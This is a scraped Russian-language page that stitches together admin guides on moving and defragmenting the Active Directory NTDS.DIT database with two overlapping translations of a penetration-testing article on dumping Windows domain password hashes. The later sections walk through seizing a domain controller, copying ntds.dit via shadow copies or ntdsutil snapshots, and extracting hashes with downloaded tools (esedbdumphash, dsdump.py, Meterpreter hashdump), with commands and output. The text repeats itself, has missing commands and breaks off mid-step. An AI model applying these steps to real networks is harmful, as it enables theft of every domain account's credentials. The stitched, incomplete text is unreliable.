- Энциклопедия Windows
- Перенос файла NTDS.DIT
- Вики IT-KB
- Инструменты пользователя
- Инструменты сайта
- Боковая панель
- Содержание
- Offline дефрагментация базы данных Active Directory (ntds.dit) на контроллере домена
- Планируем процедуру
- Останавливаем службы AD
- Выполняем дефрагментацию
- Заменяем файлы БД
- Запускаем службы AD
- Эффективное получение хеша паролей в Windows. Часть 2
- Подводим итоги по менеджеру учетных записей безопасности
- Рекомендуемые инструменты
- Active Directory
- Файл базы данных NTDS.DIT
- Извлечение хешей из NTDS.DIT
- Изменения на 4 января 2012г.
- Получение хеша паролей в ОС Windows. Часть 2
- Итоги по SAM
- Рекомендуемые инструменты
- Active Directory
- Файл базы данных NTDS.DIT
- Получение хешей из NTDS.DIT
Энциклопедия Windows
Все об использовании и настройке Windows
Перенос файла NTDS.DIT
Файл NTDS.DIT содержит данные Active Directory (AD)для конкретного домена и хранится в каталоге %systemroot%\ntds. Размер этого файла может быть достаточно большим. Для увеличения быстродействия AD может потребоваться перемещение файла на другой жесткий диск.
1. Перезагрузите контроллер домена.
2. Нажмите клавишу в загрузочном меню.
3. Выберите команду Восстановление службы каталогов (Directory Services Restore Mode).
4. Выберите необходимую копию операционной системы, если на компьютере установлено более одной системы. После этого зарегистрируйтесь в системе с правами администратора.
5. Откройте интерпретатор командной строки (Пуск > Выполнить > CMD (Start > Run > CMD)).
6. Откройте утилиту NTDSUTIL.EXE.
7. В приглашении утилиты ntdsutil введите команду files, как показано ниже:
8. В приглашении file maintenance введите следующую команду:
file maintenance: move DB to
9. Для просмотра базы данных в меню file maintenance введите команду info.
10. Для проверки целостности базы данных на новом диске в приглашении file maintenance введите команду integrity.
11. Дважды введите команду quit для возврата к основному приглашению командной строки.
12. Перезагрузите компьютер в обычном режиме работы.
Вики IT-KB
Пошаговые руководства, шпаргалки, полезные ссылки.
Инструменты пользователя
Инструменты сайта
Боковая панель
Содержание
Offline дефрагментация базы данных Active Directory (ntds.dit) на контроллере домена
Со временем база данных Active Directory (ntds.dit) может разрастаться до неприличных размеров, принося за собой проблемы с нехваткой места на диске контроллеров домена, а также превнося увеличенные требования к объёму оперативной памяти, необходимому для работы с данными БД. Причины у такого роста могут быть разные и мы оставим их за рамками этой статьи. Здесь мы лишь кратко рассмотрим пример offline-дефрагментации файла БД, которая может быть предпринята с целью уменьшения размера этого файла.
Планируем процедуру
Offline-дефрагментация требует остановки служб AD и, как следствие, приводит к невозможности обслуживать клиентские запросы со стороны контроллера домена. Поэтому планировать такую процедуру лучше на нерабочее время.
Кроме того, предварительно требуется оценить объем свободного места на диске контроллера домена, где будет выполняться дефрагментация, так как нам может потребоваться, как максимум, двойной объём размера нефрагментированного файла ntds.dit
Останавливаем службы AD
На контроллере домена запустим командную строку с правами Администратора и выполним команду остановки службы Active Directory Domain Services (ntds). На запрос о запуске зависимых от ntds служб ответим утвердительно.
Убедившись в том, что служба ntds успешно остановлена, переходим к процедуре дефрагментации.
Выполняем дефрагментацию
Создадим временный каталог, в который будет помещён файл базы данных AD в результате дефрагментации, так оригинальный файл ntds.dit в процессе дефрагментации не изменяется, а создаётся его копия в указанном временном каталоге. Например пусть это будет каталог C:\Temp .
В командной строке переходим в интерактивный режим работы уилиты Ntdsutil и последовательно вводим команды Activate instance ntds , Files , Compact to C:\Temp , после которых будет запущена процедура дефрагментации файла ntds.dit, а по завершению процедуры дефрагментации выходим из интерфейса утилиты два раза нажав q :
Обратим внимание на то, что в выводе утилиты должно фигурировать сообщение об успешном окончании процесса дефрагментации Compaction is successful .
По длительности процесс дефрагментации может занять разное время в зависимости от текущего размера файла БД и аппаратных возможностей контроллера домена. В нашем примере файл ntds.dit размером 18GB был дефрагментирован до размера в 5GB примерно за 20 минут.
Заменяем файлы БД
По окончании процесса дефрагментации утилита Ntdsutil выдала нам рекомендации о дальнейших действиях, то есть о том, что теперь мы можем заменить оригинальный файл ntds.dit на дефрагментированный. На вопрос о переписывании файла ответим утвердительно.
Также нам нужно удалить логи, относящиеся к старому недефраментированному файлу.
Запускаем службы AD
После замены файла ntds.dit и удаления старых логов выполняем повторный запуск службы Active Directory Domain Services (ntds).
Ну и, конечно, не забываем удалить временно созданный дефрагментированный файл ntds.dit
На этом процедуру offline-дефрагментации базы данных Active Directory можно считать законченной.
Проверено на следующих конфигурациях:
Версия ОС | Версия Ntdsutil |
---|---|
Windows Server 2012 R2 Standard EN (6.3.9600) | Windows Directory Service Utilities Version 2.0 |
Автор первичной редакции:
Алексей Максимов
Время публикации: 17.08.2018 20:35
Эффективное получение хеша паролей в Windows. Часть 2
В предыдущей статье из серии, я в общих словах объяснил, что такое Менеджер безопасности учетных записей (SAM) Windows, и как, получив физический или удаленный доступ к системе достать из SAM хешированные пароли локальных пользователей.
Подводим итоги по менеджеру учетных записей безопасности
В предыдущей статье из серии, я в общих словах объяснил, что такое Менеджер безопасности учетных записей (SAM) Windows, и как, получив физический или удаленный доступ к системе достать из SAM хешированные пароли локальных пользователей. При удаленном доступе существует три возможных метода получения хешей: метод, основанный на унаследованных возможностях Windows, на теневом копировании томов, и на внедрении в память процесса. Наконец, я сделал сводную электронную таблицу с описанием наиболее часто используемых утилит для дампа хешей из памяти процесса. О некоторых утилитах из этой таблице речь пойдет ниже.
И опять же я хочу повторить следующую мысль: если есть возможность перемещать файлы между вашей машиной и целевой системой, то всегда сначала копируйте файлы SAM и SYSTEM с целевой системы, а затем уже доставайте хеши паролей в оффлайн-режиме.
Тем не менее, простое копирование файлов не гарантирует, что вы получите хеши всех локальных учетных записей. Если все хеши вам получить так и не удалось, то придется слить их из памяти и объединить результаты. Странно, но с подобными случаями я сталкивался не раз, и, хочу подчеркнуть, что речь идет об автономных (не входящих в домен) рабочих станциях Windows.
Рекомендуемые инструменты
Когда на целевой системе мне удалось запустить Metasploit Meterpreter, я пользуюсь пост-эксплойтом smart_hashdump Карлоса Переза (Carlos Perez). Если же smart_hashdump не срабатывает, то я прибегаю к его предыдущей версии – пост-эксплойту hashdump.
Active Directory
Active Directory выступает в роли централизованного хранилища, служащего для управления сетью и безопасностью. В функции службы каталогов входит аутентификация и авторизация всех пользователей внутри домена Windows, создание и выполнение политик безопасности […] Когда пользователь регистрируется в системе на компьютере, входящем в домен, то именно Active Directory проверяет пароль пользователя […]
Информация из определения пригодится вам, после компрометации какой-либо системы из домена Windows. Для того чтобы быстро взять под контроль весь домен, вам нужно получить доступ к корневому контроллеру домена. Если же вы находитесь в домене-потомке, то ваша цель – получить доступ к контроллеру корневого домена леса с правами Администратора предприятия.
В сети существует множество ресурсов, посвященных тому, как повысить свои права в домене, и поэтому в настоящей статье этой темы мы касаться не будем. В блоге pentestmonkey.net приведена вся необходимая информация по вопросу повышения прав.
Также существует вероятность, что администратор использует одни и тот же пароль локального администратора на всех машинах домена. В подобном случае, вам достаточно с помощью keimpx узнать пароль всего на одной машине, и контроллер у вас в руках!
Неважно, каким именно способом вы получили доступ к контроллеру домена (в идеале, подключились к корневому контроллеру домена, так как именно на нем в первую очередь отражаются изменения учетных записей пользователей), самое главное: запустить на контроллере командную строку с правами администратора (локального или доменного).
Файл базы данных NTDS.DIT
Файл NTDS.DIT заблокирован системой. Для получения этого файла вместе с файлом SYSTEM воспользуйтесь службой теневого копирования томов, как описывалось в предыдущей статье.
Как вариант, используйте функцию создания снимка утилитой ntdsutil, впервые такая функция была представлена в Windows Server 2008. Утилита сделает мгновенный снимок базы данных Active Directory, что позволит вам скопировать ntds.dit и файл SYSTEM. О том, как сделать снимок, написано в статье Microsoft TechNet.
Извлечение хешей из NTDS.DIT
Также для извлечения хешей подойдет пакет (ntds_dump_hash.zip), разработанный Ксаба Бартой (Csaba Barta). Функции пакета описаны в статье “Исследование получения хеша паролей в оффлайн-режиме и анализ ntds.dat”. ntds_dump_hash.zip позволяет:
- извлечь необходимые таблицы из ntds.dit: esedbdumphash
- получить хеши и дополнительные сведения об учетных записях пользователей: dsdump.py, dsdumphistory.py, dsuserinfo.py.
Скачайте и скомпилируйте пакет:
$ wget http://csababarta.com/downloads/ntds_dump_hash.zip
$ unzip ntds_dump_hash.zip
$ cd libesedb
$ ./configure && make
Воспользуйтесь esedbdumphash, чтобы извлечь таблицу datatable из ntds.dit:
$ cd esedbtools
$ ./esedbdumphash -v -t /tmp/output
$ ls -1 /tmp/output.export/
datatable
Используйте dsdump.py, чтобы получить хеши из таблицы datatable с помощью bootkey (SYSKEY) из куста SYSTEM:
$ cd ../../creddump/
$ chmod +x *.py
$ ./dsuserinfo.py /tmp/output.export/datatable
$ ./dsdump.py /tmp/output.export/datatable —include-locked
—include-disabled > domain_hashes.txt
Как и в случае с автономными рабочими станциями, вы точно так же, используя те же методы, можете слить пароли доменных пользователей, внедрившись в память процесса. Но будьте осторожны при манипуляциях с процессом LSASS на контроллере домена: в худшем случае вам придется перезагружать критически важный сервер.
Информацию обо всех описанных в этой статье утилитах я добавил в электронную таблицу.
Изменения на 4 января 2012г.
Скачайте и установите последнюю версию libesedb.
Извлеките таблицы из ntds.dit:
$ esedbexport -l /tmp/esedbexport.log -t /tmp/ntds.dit
esedbexport 20111210
Opening file.
Exporting table 1 (MSysObjects) out of 12.
Exporting table 2 (MSysObjectsShadow) out of 12.
Exporting table 3 (MSysUnicodeFixupVer2) out of 12.
Exporting table 4 (datatable) out of 12.
Exporting table 5 (hiddentable) out of 12.
Exporting table 6 (link_table) out of 12.
Exporting table 7 (sdpropcounttable) out of 12.
Exporting table 8 (sdproptable) out of 12.
Exporting table 9 (sd_table) out of 12.
Exporting table 10 (MSysDefrag2) out of 12.
Exporting table 11 (quota_table) out of 12.
Exporting table 12 (quota_rebuild_progress_table) out of 12.
Export completed.
$ ls -1 /tmp/ntds.dit.export/
datatable.3
hiddentable.4
link_table.5
[. ]
С помощью NTDSXtract извлеките из таблицы datatable хешированные пароли и историю паролей:
Получение хеша паролей в ОС Windows. Часть 2
Автор: Bernardo Damele A. G
Итоги по SAM
В предыдущей части, говорилось о Менеджере безопасности учетных записей Windows (SAM), и как достать из SAM захешированные пароли локальных учетных записей.
Cуществует три метода получения хешей:
- через теневое копирование томов
- через унаследованные возможности Windows
- внедрение в память процесса.
Советую ознакомится с электронной таблицей в которой описаны наиболее популярные утилиты для получения хешей из памяти процесса.
Если есть возможность копировать файлы между вашим компьютером и целевой станцией, то сначала копируйте файлы SYSTEM и SAM с целевого компьютера, а уже после получайте хеши паролей в оффлайне.
Правда, обычное копирование файлов не гарантирует, получение хешей всех локальных пользователей. Если через файлы не удалось достать хеши всех учеток, то придется получать их из памяти.
Рекомендуемые инструменты
Pwdump7 — работает на 32-x и 64-х битных Windows, начиная с Windows 2000. Правда, pwdump7 не умеет получать хешированные пароли из памяти. Поэтому используйте pwdump7 совместно с gsecdump.
Если на целевом компьютере не удалось воспользоваться Metasploit Meterpreter, попробуйте пост-эксплойт smart_hashdump:
Если и smart_hashdump не заработает, то пробуйте к его предыдущую версию – hashdump:
Active Directory
Active Directory — централизованное хранилище для управления доменной сетью и ее безопасностью. В ее функции входит авторизация и аутентификация пользователей внутри домена Windows, выполнение и создание политик безопасности […] При входе пользователя в ОС на станции, состоящей в домене, именно Active Directory сверяет пароли […]
Если необходимо контролировать весь домен, то необходим доступ к корневому доменному контроллеру.
Есть много информации о том, как повысить права в домене, например в блоге pentestmonkey.net есть вся нужная информация о повышении прав.
Есть вероятность, что администратором используется один и тот же пароль локального администратора на всех компьютерах домена. В этом случае, достаточно узнать с помощью keimpx пароль только на одном компьютере, и контроллер домена в ваших руках!
На данном этапе наша цель это запуск консоли с правами администратора на контроллере домена.
Файл базы данных NTDS.DIT
Теперь цель: хешированные пароли пользователей домена. Пароли, как и почти вся информация Active Directory, находится в файле %SystemRoot%\ntds\NTDS.DIT. Файл NTDS.DIT заблокирован системой. Для получения файлов NTDS.DIT и SYSTEM используйте службу теневого копирования, как описывалось ранее.
Также, можно воспользоваться функцией создания снимка с помощью утилиты ntdsutil:
впервые такая функция появилась в Windows Server 2008. Ntdsutil сделает снимок базы данных Active Directory, благодаря чему вы сможете получить файлы ntds.dit и SYSTEM. Как сделать снимок читайте в статье Microsoft TechNet:
Получение хешей из NTDS.DIT
Для получения хешей из ntds.dit воспользуйтесь Windows Password Recovery Tool или ntds_dump_hash.zip:
ntds_dump_hash.zip позволит:
- извлечь нужные таблицы из ntds.dit: esedbdumphash
- получить хеши и сведения об учетных записях: dsdump.py, dsuserinfo.py, dsdumphistory.py.
Скачайте и скомпилируйте ntds_dump_hash.zip:
$ wget http://www.ntdsxtract.com/downloads/ntds_dump_hash.zip
$ unzip ntds_dump_hash.zip
$ cd libesedb
$ ./configure && make
Воспользуйтесь esedbdumphash, для извлечения таблицы datatable из ntds.dit:
$ cd esedbtools
$ ./esedbdumphash -v -t /tmp/output
$ ls -1 /tmp/output.export/
datatable
С помощью dsdump.py получите хеши из таблицы datatable, через bootkey (SYSKEY) из куста SYSTEM:
$ cd ../../creddump/
$ chmod +x *.py
$ ./dsuserinfo.py /tmp/output.export/datatable
$ ./dsdump.py /tmp/output.export/datatable —include-locked
—include-disabled > domain_hashes.txt
Фреймворк ntdsxtract.com вместе с утилитой libesedb также умеют (корректно работают в 64-bit ОС позволяет извлекать информацию из базы данных ntds.dit.
Установите последнюю версию libesedb.
Извлеките таблицы из ntds.dit:
$ esedbexport -l /tmp/esedbexport.log -t /tmp/ntds.dit
esedbexport 20111210
Opening file.
Exporting table 1 (MSysObjects) out of 12.
Exporting table 2 (MSysObjectsShadow) out of 12.
Exporting table 3 (MSysUnicodeFixupVer2) out of 12.
Exporting table 4 (datatable) out of 12.
Exporting table 5 (hiddentable) out of 12.
Exporting table 6 (link_table) out of 12.
Exporting table 7 (sdpropcounttable) out of 12.
Exporting table 8 (sdproptable) out of 12.
Exporting table 9 (sd_table) out of 12.
Exporting table 10 (MSysDefrag2) out of 12.
Exporting table 11 (quota_table) out of 12.
Exporting table 12 (quota_rebuild_progress_table) out of 12.
Export completed.
$ ls -1 /tmp/ntds.dit.export/
datatable.3
hiddentable.4
link_table.5
[. ]
С помощью фреймворка NTDSXtract извлеките из таблицы datatable захешированные пароли и историю паролей: